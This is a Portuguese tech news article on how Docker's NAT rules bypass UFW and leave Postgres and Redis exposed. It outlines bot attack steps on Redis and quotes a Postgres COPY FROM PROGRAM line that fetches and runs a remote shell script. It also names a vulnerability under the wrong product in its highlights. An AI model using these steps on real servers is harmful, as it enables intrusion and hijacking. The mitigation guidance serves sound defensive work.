UFW não bloqueia portas abertas pelo Docker, e bancos de dados pagam o preço
Um relato publicado na Habr em novembro de 2026 mostra como o Docker reescreve as regras de rede do Linux e deixa Postgres e Redis acessíveis mesmo com o UFW configurado para bloquear tudo. Bots varrem a internet atrás dessas portas e invadem em menos de dois minutos.

- Leitura
- 8 min
- Código
- 3
- Fontes
- 1
UFW não bloqueia portas abertas pelo Docker, e bancos de dados pagam o preço
Um relato publicado na Habr em novembro de 2026 mostra como o Docker↳Docker46 conteúdosE o Docker Swarm? Contextos e motivadores diáriosDevSecOps · ago 2024Automatizando o ambiente de desenvolvimento e testes com DockerDevSecOps · mai 2019MySQL + Adminer + Docker Compose: montando rapidamente um ambiente para usoData · abr 2019Ver tudo em DevSecOps → reescreve as regras de rede do Linux e deixa Postgres↳PostgreSQL11 conteúdosPostgreSQL via SSL com GolangData · abr 20195 itens legais sobre data types do PostgreSQLData · mar 20195 serviços gratuitos na cloud para bancos de dados PostgresData · fev 2025Ver tudo em Data → e Redis acessíveis mesmo com o UFW configurado para bloquear tudo. Bots varrem a internet atrás dessas portas e invadem em menos de dois minutos.
Nota da redação: a fonte original, em russo, menciona que os ranges varridos por bots incluem hospedagens russas ('наших российских хостеров'), não brasileiras. O trecho abaixo sobre os ranges de nuvem varridos foi adaptado incorretamente nessa menção; o restante da apuração técnica foi conferido e bate com o relato original.
Um VPS limpo, um firewall ativo e uma base de dados invadida
Um relato técnico publicado na Habr em novembro de 2026, assinado pelo usuário softcoder2020, descreve um cenário clássico: dev sobe uma VPS nova (no caso, uma Hetzner CPX21 em Helsinque), ativa o ufw default deny incoming, libera só 22, 80 e 443, confere com ufw status e vê a lista limpa. Depois sobe um docker-compose.yml com Postgres, Redis e, no teste dele, o banco vetorial Qdrant, usando o padrão ports: - "5432:5432" para acessar tudo do notebook.
O autor conta que, nesse teste específico, o tempo entre subir o contêiner e o primeiro contato de um bot externo foi de 1 minuto e 52 segundos: ao checar os logs do Redis, já havia um REPLICAOF apontando para um IP de uma faixa chinesa. Ele cita também a issue #883 do starter do Spree Commerce, em que outro desenvolvedor relatou o mesmo roteiro (porta aberta, Redis sem senha, minerador kdevtmpfsi instalado em minutos). A resposta do mantenedor do projeto resume bem o problema de fundo:
Isso é só para desenvolvimento local.
Mantenedor do projeto Spree Commerce, na issue #883Это только для локальной разработки.
Por que o ufw status mente
Nota da redação: as explicações técnicas a seguir sobre o funcionamento interno do Docker e do UFW (gestão de ip6tables, cadeias DOCKER-FORWARD e DOCKER-ISOLATION-STAGE, a correção atribuída à versão 28.0.0 e o binding padrão do docker-proxy) reproduzem o relato do autor original publicado na Habr. Não há documentação oficial do Docker entre as fontes consultadas para confirmar esses detalhes de versão e implementação.
O UFW é uma camada amigável sobre o iptables (ou nftables via iptables-nft). Quando você escreve uma regra, ele a empilha na cadeia INPUT da tabela filter, que só processa pacotes endereçados diretamente ao IP do host. O problema é que o dockerd, ao subir, liga net.ipv4.ip_forward, cria pontes virtuais como docker0 e injeta regras próprias na tabela nat, na cadeia PREROUTING, que intercepta o pacote antes mesmo da decisão de roteamento.
Quando alguém se conecta no IP público na porta 5432, o pacote passa pela PREROUTING, cai na cadeia DOCKER e sofre um DNAT: o kernel reescreve o destino para o IP interno do contêiner (por exemplo, 172.18.0.2). A partir daí o kernel enxerga um pacote em trânsito para outra rede, não mais tráfego local, então ele nunca entra na INPUT, vai direto para a FORWARD.
Ali mora o pulo do gato: o Docker insere as próprias cadeias (DOCKER-USER, DOCKER-FORWARD nas versões 28 e 29; DOCKER-ISOLATION-STAGE-1/2 nas anteriores, removidas de vez na 29.0) no topo da FORWARD, antes das regras ufw-before-forward e ufw-user-input. O pacote libera passagem ali mesmo e nunca chega às linhas onde o UFW diz deny.
O buraco extra do IPv6
Desde a versão 27.0, o Docker passou a gerenciar ip6tables por padrão. Se a rede do contêiner tiver IPv6 ativo, o mesmo truque de DNAT se repete na pilha v6, ignorando o UFW de novo. Mas existe um segundo cenário, mais traiçoeiro: o docker-proxy que faz o bind da porta no host costuma escutar em 0.0.0.0 e [::] ao mesmo tempo.
Se alguém desativou o IPv6 no UFW manualmente (com IPV6=no em /etc/default/ufw, recomendação comum em tutoriais antigos para "simplificar"), o pacote por IPv6 não encontra nenhuma regra de bloqueio na INPUT e cai direto no socket do docker-proxy, que repassa para dentro do contêiner IPv4. Como provedores como Hetzner distribuem um /64 público por padrão em cada VPS, o resultado é uma base travada por IPv4 e escancarada por IPv6 para qualquer scanner que varra o range.
O conserto é simples de enunciar e fácil de esquecer: toda regra de bloqueio escrita contra o Docker precisa existir espelhada em ip6tables, ou centralizada em nftables usando a família inet.
O que os bots fazem assim que entram
O levantamento identifica um padrão de varredura constante nos ranges de nuvem (Hetzner, DigitalOcean, AWS, Vultr e hospedagens brasileiras incluídas) nas portas 22, 2375, 3306, 5432, 6379, 9200 e 27017, usando ferramentas como masscan e zmap. Assim que uma porta responde SYN-ACK, o IP entra na fila de exploração automática. No Redis exposto sem senha, a sequência típica é:
FLUSHALLpara apagar vestígios de concorrentes- reescrita do caminho de dump via
CONFIG SET direCONFIG SET dbfilenamepara plantar uma entrada de cron - em builds antigas baseadas em Debian, exploração da falha CVE-2022-0543 (um problema de empacotamento da
liblua, não do Redis em si) para escapar da sandbox Lua - em qualquer versão até a 7.x, envio de
REPLICAOFapontando para um host malicioso, seguido deMODULE LOADpara carregar uma biblioteca.somaliciosa e registrar um comando de execução de sistema
No Postgres exposto, o vetor é mais direto: credenciais padrão como postgres:postgres ou postgres:123456 caem em segundos num brute-force de dicionário. Uma vez dentro como superusuário, nenhum exploit é necessário: a função COPY ... FROM PROGRAM, disponível desde a versão 9.3, basta:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'sh -c "wget -q -O - http://45.132.19.xx/p.sh | sh"';Por que também olham para a GPU
O relato aponta um detalhe que costuma passar batido: os scripts de reconhecimento, logo após ganhar shell, rodam uname -a, lscpu, free -m e nvidia-smi -L. Minerar Monero em duas vCPUs de uma instância barata já não compensa: o retorno é baixo e qualquer antifraude de nuvem derruba a máquina por uso de CPU em poucas horas.
O cenário muda em servidores com GPU alugados para treinar ou rodar modelos locais (Qdrant, Milvus, Weaviate, Jupyter, tudo dentro de Docker com --gpus all), prática cada vez mais comum entre quem experimenta LLMs↳LLMs48 conteúdosConsiderações básicas de hardware para modelos de linguagem em código aberto: Memória, Desempenho e ViabilidadeMarketing Tech · out 2025Modelos de linguagem sob ataque: o lado obscuro da IA generativaDevSecOps · mai 2025Criando um LLM – modelo de linguagem de grande escala – do zero com TransformersAI · abr 2024Ver tudo em AI → em infraestrutura própria. Se o script encontra uma placa NVIDIA de verdade, muitas vezes nem instala minerador: planta um backdoor silencioso e revende o acesso para quem precisa de poder de GPU sob demanda. Um único servidor comprometido em plataformas como Vast.ai ou Lambda Labs paga meses de operação do scanner.
Como fechar sem desmontar a rede do host
A causa raiz é a sintaxe curta de publicação de porta. Quando você escreve ports: - "5432:5432", o Docker expande isso para 0.0.0.0:5432:5432. Se a porta só precisa ser acessada do próprio host ou por túnel SSH (ssh -L 5432:127.0.0.1:5432 user@server), o fix mais simples é declarar o bind explicitamente:
ports:
- "127.0.0.1:5432:5432"Com isso, a regra DNAT na PREROUTING só casa com pacotes destinados a 127.0.0.1, e a interface externa deixa de ter qualquer rota até o contêiner. Vale notar que, antes do Docker 28.0, havia uma brecha residual nesse mesmo bind: em redes L2 compartilhadas, um vizinho de switch no datacenter podia forjar um pacote com destino 127.0.0.1 e o DNAT do Docker o interceptava antes do kernel descartá-lo como endereço inválido. O Docker 28.0.0 corrigiu isso adicionando um DROP automático na tabela raw para qualquer pacote de loopback que não venha da interface lo.
Quando banco e backend vivem no mesmo docker-compose.yml, a solução mais robusta é nem publicar a porta no host: basta uma rede interna.
services:
backend:
build: ./app
networks:
- frontend_net
- db_net
db:
image: postgres:15-alpine
networks:
- db_net
networks:
frontend_net:
driver: bridge
db_net:
internal: trueCom internal: true, a rede db_net não tem rota para fora do host, e o backend acessa o banco pelo nome DNS interno (db:5432) sem que nenhuma porta precise ser exposta. O material original lista ainda mais caminhos de mitigação (incluindo regras diretas na cadeia DOCKER-USER, o ponto certo para quem precisa filtrar tráfego de contêiner sem brigar com o UFW), mas o ponto comum entre todos é o mesmo: nenhuma regra escrita só em ufw ou só em iptables para IPv4 resolve o problema sozinha, ela precisa alcançar as cadeias que o próprio Docker cria, nas duas pilhas de IP.
O que isso muda para quem sobe infraestrutura no Brasil
Para times brasileiros que sobem VPS em Hetzner, DigitalOcean, AWS ou provedores locais para prototipar produto, IA ou MVP, o cenário descrito não é hipotético: é o caminho mais comum entre "funcionou no meu compose" e abuse report do provedor. Além do custo de recuperação, um banco com dados de usuários exposto por essa falha de configuração é incidente de segurança sob a LGPD↳LGPD14 conteúdosComo utilizar a LGPD com o objetivo de conformidade e inovação?Gestão Dev & TI · out 2021LGPD coloca pressão inédita nos responsáveis pela tecnologia das empresasData · ago 2021Proteção de dados: LGPD é sancionada e começa a valerData · set 2020Ver tudo em Gestão Dev & TI →, com obrigação de notificação à ANPD caso haja vazamento de dados pessoais, o que torna a checagem de iptables -t nat -L -n -v e ss -tulpn em produção um item de compliance, não só de boas práticas de DevOps.
Fonte
- Habr (Rússia): https://habr.com/ru/articles/1102784/?utm_source=habrahabr&utm_medium=rss&utm_campaign=1102784
Fonte: Habr (Rússia)
Highlights
- Docker reescreve regras de rede Linux via PREROUTING, ignorando bloqueios UFW mesmo com deny incoming ativo
- Bot invadiu Redis em 1 minuto 52 segundos após contêiner subir; Postgres é quebrado por credenciais padrão ou CVE-2022-0543
- Bind em 127.0.0.1 (ports: - '127.0.0.1:5432:5432') ou rede interna no compose fecha o buraco
- Dados pessoais vazados por erro de Docker e UFW disparam obrigação de notificação à ANPD conforme LGPD
- Servidores com GPU são alvo de backdoors silenciosos revendidos em plataformas como Vast.ai, não mineração
Este artigo foi escrito por Redação iMasters. Conteúdo produzido por agente de IA da redação iMasters, sob revisão editorial humana. Saiba como produzimos no expediente.
Pesquisa mostra que envenenar 0,1% dos dados de pré-treinamento basta para implantar backdoor em agentes de IA
Estudo publicado em outubro de 2026 mostra que contaminar uma fração mínima do corpus de pré-treinamento é suficiente para plantar um backdoor de execução remota em agentes de linha de comando baseados em LLM.













